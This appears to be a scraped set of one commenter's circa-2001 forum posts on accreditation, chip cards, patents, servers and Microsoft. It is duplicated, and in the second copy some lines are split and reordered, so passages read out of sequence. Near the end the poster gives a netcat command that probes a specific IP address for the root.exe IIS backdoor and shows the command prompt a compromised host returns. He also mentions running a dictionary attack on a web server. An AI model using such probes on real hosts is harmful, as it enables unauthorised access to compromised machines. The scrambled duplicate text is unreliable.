MIT [mit.edu] is a private institution. Yes it gets money from public grants & programs, almost every accredited institution does
Is MIT accredited? I checked with the accredidation board that was attempting to accredit University of Missouri-Columbia's comp engr dept and they only had accepted money from state schools and small private institutions. As far as I know, many MIT and Standford programs aren't officaly accredited. Of course I'm not implying that that is a problem, its just that accredication seems to be yet another money game. One of the early "get your degree via email" spamers started (and still owns) a major accredication agency.
Sony is almost completey owned by American instutitianl banks and other stock holders all over the world. While they could ignore US law, the US could grab almost all their banking assetts.
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And why do you say this is a troll? I work for a company thats in the business of selling PCs among other things and the high end server business is dead. People are now buying "low end servers." They don't want 256mb of ram in them and don't want to pay for all that extra memory even though it adds $20 to the price. The same is true for general workstations. They don't want to pay for the bigest and fastest when the slowest pc you can get is faster than all the workstations they currently have. Every "server" I've seen in the last few months is just a generic PC assigned server duties. I don't see there ever being a market for dedicated servers for small business again.
The old rule was the a SSN was guarenteed to be unique with name and thats it. They tend to be unique but up until about 1980 they were offten assigned off a bit of paper and crossed out. If the ssa office was in two different locations, they would offten assign the same ssn to two different people. That doesn't seem to happen as much now.
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Servers and high end workstations are a dead market. The only people buying high end boxes these days are gamers.
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Intel remembers history...
Remember when Shurgart made the best drives in the world? Someone pissed off a bunch of engineers and they founded Seagate. Where is Shurgart now?
The problem is with a billion liters of seawater you will have quite a bit of salt if any of the water evaoprates. Gold in the ocean is about 5 to 50 parts per trillion. You would need a shallow lake about 1km on a side to hold enough ocean water to get an ounce of gold.
But whare the the chances of Sklyarov getting a jury trial with "peers"? the court system is so aginst smart people in the jury that it won't happen. From what I can tell, about the only time technical people get on jurys is when they are the last on the list and everyone else has been refused for some reason.
I used to work for a CC comapny on the SET project. It had great crypto. The best you could get (RSA stuff) and it even had the NSA's blessing. Off thing is theres a bit of a hole in the system. In fact its a big enough hole that you could steal a truck with it. The end result is SET is dead and they bad crypto will be recycled.
Chip cards aren't fast enough to do real crypto and still be useable to the American consumer.
This is what I love about the web and the smart web engines. You can find out the truth behind the marketing crap with a little bit of searching. I've had the domain of abnormal.com since before you had to pay for domains and I've got a slowly growing collection of text. Other people have found some of it helpful and linked to it. Because of the large number of people that link to me, my site tends to find its way towards the top of google. So a few weeks ago I buy a 3com nbx 100 phone system. I've got some nasty thigns to say about it. I put it on the web and a few days latter, I type in "nbx 100" in google and I show up 5th (I'm now 7th) and www.3com.com isn't even on the first page. Maybe someone at 3com will notice soon.
They are going to replace the mag stripe with a chip. This adds security how? As far as I can tell, only about 1 in 1000 techies have a mag card writer. About 1 in 1 pc users can have a chip card writer with a few clip leads from radio shack. Once this takes off, the small time fraud level will go through the roof once someone makes a nice script kiddie tool kit. The smart cards used by the sat tv are quite complex compared to the credit cards and at one time, direct Tv was guessing that only 10% of their customer base was using craced cards.
As a merchant, I would not take ones of these new cards with out making sure I'm not taking any of the risk.
There is also the static issue. I know a few women that can not deal with electronics without some heave duty static protection. One of them has a complete surface mount static protection workstation that she uses as her desk and so far it has keep her pc working. Before that she would blow motherboards, keyboards and mice week. Since she kills digital watches, I would expect one of these cards to have a life time of less than a week with her.
If you also figure in that the time between key strokes also leaks out and that allows you some good guesses on which letters are next to each other, you have a very good chance of dropping thouse 2^10 passwords to a few million. On a recent attempt to crack passwords on a slow web server, I could do a dictionary attack in less than 1/2 hour. A well designed system can try a million passwords in an afternoon aginst an unsuspecting target. Most recent versions of SSH prevent you from attempting that.
two points:
1) how much of that $11,000 is for busses? I would exepct at least 1/2
2) If you don't foce 16yr into school, many of the drop outs will simply become troublemakers. Most of them can't be left on their own till they are old enough to legally work. Keep in mind how much crime is done by 16 to 18 yr old males. Of course there also needs to be a way to keep the dropouts from interfeering with the real students but I don't see that happing.
Insightful with a +5 katana gets hit by a lame moderator with a -1 mace while a +4 funny defends against another unknown moderator improperly wielding +1 clueby4 and wins...
If you look at the large maps (can you say lots of memory?) they look much different than the low res maps. It looks to me that they picked an image reduction method that tends to highlight more areas than should be. The area north of Cairns Australia looks like its got a bit of light on the small pictures and only the two major towns on the high resolution image.
The Nile valley didn't have that many lights on at night the last time I was there. It tends to get dark and people go to sleep since the farmers along that river can't afford electricty on their $400/yr. The lights attracts bug which is a bad thing on the Nile.
Note, don't look at the.tif images in Gimp (or anything else) unless you've got 1/2gig.
That odd line shows up if you plot the number of "towns" listed in the USGS list of named places. There are two lines, the one that shows up on this graph and one east about 200 miles but its not clear on the light polution graph.
Static from plugging in a device is included in most standards and has been in the RS-232 spec since before RS-232C. If the motherboard died because of static on the pins on the plam cradle, it was a defective design.
It it wasn't static, then I would love to know how Plam managed to get enough energy out of a few AAA batteries to do that kind of damage to an RS-232 port.
X sort of messes up the which is the client and which is the server issue.
I figure if their advertising says "Internet Access" then they should provide it even of their TOS disagrees. Web access (which lots are providing) is not internet access.
I think that software patents could be acceptable but only if there was a way to effective search for prior art. The current US patent office can only search a limited number of sources for prior art. These include their patent application database as well as the library of congress. In the 1800's that made sense but now thats not true and there isn't a way to fix it without going to external sources which could leak out info on what the examiner was researching.
One thing that would break the current string of bad patents would be to submit something like googles database as a "researched prior art" reference. Once its listed in one patent application, then it can be used to research prior art on others. The problem is how to get google to submit a paten on something and include a reference to 1e9 web pages.
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I was probing machines that probed me for a working root.exe and one machine was "owned" within 10 minutes of probing my cable modem connected box.
Out of the original list of 39 or so that had a working root.exe, none of them are now repsonding to thouse request because they are now under the control of someone else.
Its not over, till its over and its not over yet.
The shenanigans resulted in a judge making coments that has delayed the entire mess. If M$ is anything like the old NCR, this is just going to go away. For thouse that don't remember, when NCR was too far up against the wall, they briebed their way out and then the head of NCR fired Watson and told him to form a competeing company. That companie was called IBM and then history repeats. M$ just happens to be one more in the chain but I don't see anyone taking their place for a long and painful time. In the early days of the NCR vs IBM wars, they each had "Special" oil for the other companies machines. That oil had metal filings in it. Kind of like the new SMB.
It should accept post values of just the right type and then use the a browser to control the box. So far 29 out of the 94 sites that have tried to attach my cable modem are still active.
echo -e GET/scripts/root.exe HTTP/1.0\\n | nc -w 1 203.45.218.169 80
You will get:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
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c:\inetpub\scripts>
if it is hacked.
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since class A/B/C have been dead for a long time, the use of "class c" to refer to a/24 is quite common even if they aren't in the "class c" area.
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MIT [mit.edu] is a private institution. Yes it gets money from public grants & programs, almost every accredited institution does
Is MIT accredited? I checked with the accredidation board that was attempting to accredit University of Missouri-Columbia's comp engr dept and they only had accepted money from state schools and small private institutions. As far as I know, many MIT and Standford programs aren't officaly accredited. Of course I'm not implying that that is a problem, its just that accredication seems to be yet another money game. One of the early "get your degree via email" spamers started (and still owns) a major accredication agency.
Sony is almost completey owned by American instutitianl banks and other stock holders all over the world. While they could ignore US law, the US could grab almost all their banking assetts.
And why do you say this is a troll? I work for a company thats in the business of selling PCs among other things and the high end server business is dead. People are now buying "low end servers." They don't want 256mb of ram in them and don't want to pay for all that extra memory even though it adds $20 to the price. The same is true for general workstations. They don't want to pay for the bigest and fastest when the slowest pc you can get is faster than all the workstations they currently have. Every "server" I've seen in the last few months is just a generic PC assigned server duties. I don't see there ever being a market for dedicated servers for small business again.
The old rule was the a SSN was guarenteed to be unique with name and thats it. They tend to be unique but up until about 1980 they were offten assigned off a bit of paper and crossed out. If the ssa office was in two different locations, they would offten assign the same ssn to two different people. That doesn't seem to happen as much now.
Servers and high end workstations are a dead market. The only people buying high end boxes these days are gamers.
Intel remembers history...
Remember when Shurgart made the best drives in the world? Someone pissed off a bunch of engineers and they founded Seagate. Where is Shurgart now?
For 5,000 years, an once of gold was about the weekly wage for a high level person. This ended in about 1970.
The problem is with a billion liters of seawater you will have quite a bit of salt if any of the water evaoprates. Gold in the ocean is about 5 to 50 parts per trillion. You would need a shallow lake about 1km on a side to hold enough ocean water to get an ounce of gold.
But whare the the chances of Sklyarov getting a jury trial with "peers"? the court system is so aginst smart people in the jury that it won't happen. From what I can tell, about the only time technical people get on jurys is when they are the last on the list and everyone else has been refused for some reason.
I used to work for a CC comapny on the SET project. It had great crypto. The best you could get (RSA stuff) and it even had the NSA's blessing. Off thing is theres a bit of a hole in the system. In fact its a big enough hole that you could steal a truck with it. The end result is SET is dead and they bad crypto will be recycled.
Chip cards aren't fast enough to do real crypto and still be useable to the American consumer.
This is what I love about the web and the smart web engines. You can find out the truth behind the marketing crap with a little bit of searching. I've had the domain of abnormal.com since before you had to pay for domains and I've got a slowly growing collection of text. Other people have found some of it helpful and linked to it. Because of the large number of people that link to me, my site tends to find its way towards the top of google. So a few weeks ago I buy a 3com nbx 100 phone system. I've got some nasty thigns to say about it. I put it on the web and a few days latter, I type in "nbx 100" in google and I show up 5th (I'm now 7th) and www.3com.com isn't even on the first page. Maybe someone at 3com will notice soon.
They are going to replace the mag stripe with a chip. This adds security how? As far as I can tell, only about 1 in 1000 techies have a mag card writer. About 1 in 1 pc users can have a chip card writer with a few clip leads from radio shack. Once this takes off, the small time fraud level will go through the roof once someone makes a nice script kiddie tool kit. The smart cards used by the sat tv are quite complex compared to the credit cards and at one time, direct Tv was guessing that only 10% of their customer base was using craced cards.
As a merchant, I would not take ones of these new cards with out making sure I'm not taking any of the risk.
There is also the static issue. I know a few women that can not deal with electronics without some heave duty static protection. One of them has a complete surface mount static protection workstation that she uses as her desk and so far it has keep her pc working. Before that she would blow motherboards, keyboards and mice week. Since she kills digital watches, I would expect one of these cards to have a life time of less than a week with her.
If you also figure in that the time between key strokes also leaks out and that allows you some good guesses on which letters are next to each other, you have a very good chance of dropping thouse 2^10 passwords to a few million. On a recent attempt to crack passwords on a slow web server, I could do a dictionary attack in less than 1/2 hour. A well designed system can try a million passwords in an afternoon aginst an unsuspecting target. Most recent versions of SSH prevent you from attempting that.
two points:
1) how much of that $11,000 is for busses? I would exepct at least 1/2
2) If you don't foce 16yr into school, many of the drop outs will simply become troublemakers. Most of them can't be left on their own till they are old enough to legally work. Keep in mind how much crime is done by 16 to 18 yr old males. Of course there also needs to be a way to keep the dropouts from interfeering with the real students but I don't see that happing.
Insightful with a +5 katana gets hit by a lame moderator with a -1 mace while a +4 funny defends against another unknown moderator improperly wielding +1 clueby4 and wins...
Damn I wish I had a +5 sword of moderation...
If you look at the large maps (can you say lots of memory?) they look much different than the low res maps. It looks to me that they picked an image reduction method that tends to highlight more areas than should be. The area north of Cairns Australia looks like its got a bit of light on the small pictures and only the two major towns on the high resolution image.
.tif images in Gimp (or anything else) unless you've got 1/2gig.
The Nile valley didn't have that many lights on at night the last time I was there. It tends to get dark and people go to sleep since the farmers along that river can't afford electricty on their $400/yr. The lights attracts bug which is a bad thing on the Nile.
Note, don't look at the
That odd line shows up if you plot the number of "towns" listed in the USGS list of named places. There are two lines, the one that shows up on this graph and one east about 200 miles but its not clear on the light polution graph.
Static from plugging in a device is included in most standards and has been in the RS-232 spec since before RS-232C. If the motherboard died because of static on the pins on the plam cradle, it was a defective design.
It it wasn't static, then I would love to know how Plam managed to get enough energy out of a few AAA batteries to do that kind of damage to an RS-232 port.
no X servers?
X sort of messes up the which is the client and which is the server issue.
I figure if their advertising says "Internet Access" then they should provide it even of their TOS disagrees. Web access (which lots are providing) is not internet access.
I think that software patents could be acceptable but only if there was a way to effective search for prior art. The current US patent office can only search a limited number of sources for prior art. These include their patent application database as well as the library of congress. In the 1800's that made sense but now thats not true and there isn't a way to fix it without going to external sources which could leak out info on what the examiner was researching.
One thing that would break the current string of bad patents would be to submit something like googles database as a "researched prior art" reference. Once its listed in one patent application, then it can be used to research prior art on others. The problem is how to get google to submit a paten on something and include a reference to 1e9 web pages.
I was probing machines that probed me for a working root.exe and one machine was "owned" within 10 minutes of probing my cable modem connected box.
Out of the original list of 39 or so that had a working root.exe, none of them are now repsonding to thouse request because they are now under the control of someone else.
And the outcome of the case was????
Its not over, till its over and its not over yet.
The shenanigans resulted in a judge making coments that has delayed the entire mess. If M$ is anything like the old NCR, this is just going to go away. For thouse that don't remember, when NCR was too far up against the wall, they briebed their way out and then the head of NCR fired Watson and told him to form a competeing company. That companie was called IBM and then history repeats. M$ just happens to be one more in the chain but I don't see anyone taking their place for a long and painful time. In the early days of the NCR vs IBM wars, they each had "Special" oil for the other companies machines. That oil had metal filings in it. Kind of like the new SMB.
grep -i root.exe would be a much more interesting number.
It should accept post values of just the right type and then use the a browser to control the box. So far 29 out of the 94 sites that have tried to attach my cable modem are still active. /scripts/root.exe HTTP/1.0\\n | nc -w 1 203.45.218.169 80
echo -e GET
You will get:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
...
c:\inetpub\scripts>
if it is hacked.
since class A/B/C have been dead for a long time, the use of "class c" to refer to a /24 is quite common even if they aren't in the "class c" area.